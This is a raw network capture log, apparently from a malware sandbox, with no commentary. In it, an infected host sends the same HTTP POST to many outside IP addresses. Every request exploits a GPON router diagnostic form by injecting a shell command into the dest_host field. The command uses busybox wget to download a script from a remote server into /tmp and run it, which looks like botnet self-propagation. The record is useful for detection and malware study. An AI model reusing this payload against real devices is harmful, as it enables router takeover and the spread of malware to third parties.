Mar 21, 2024 05:23:18.741765022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1426	192.168.2.13	33672	42.34.176.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741789103 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1427	192.168.2.13	39858	118.208.163.69	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741796017 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1428	192.168.2.13	57534	118.14.22.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741868019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1429	192.168.2.13	48636	42.163.76.8	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.741873026 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1430	192.168.2.13	52600	109.166.77.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749377966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1431	192.168.2.13	47984	212.63.21.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749391079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1432	192.168.2.13	36888	42.157.81.74	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749399900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1433	192.168.2.13	54054	42.40.92.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749413967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1434	192.168.2.13	53514	118.18.127.175	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749413967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1435	192.168.2.13	43866	118.52.155.209	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749422073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.13	33688	5.249.102.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749434948 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.13	40164	212.176.147.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749450922 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.13	60368	5.218.246.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749456882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.13	34052	118.190.122.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749463081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.13	57204	212.153.35.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749486923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.13	38088	109.94.164.152	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749496937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.13	33838	212.208.26.255	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749505997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.13	41980	42.162.82.47	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749566078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.13	57124	212.79.126.234	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749577045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.13	51986	118.98.140.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749600887 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1446	192.168.2.13	44818	5.44.25.193	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749602079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1447	192.168.2.13	58400	5.102.225.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749602079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1448	192.168.2.13	48434	118.180.9.56	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:18.749618053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1449	192.168.2.13	36024	42.72.207.163	443

Timestamp	Bytes transferred	Direction	Data
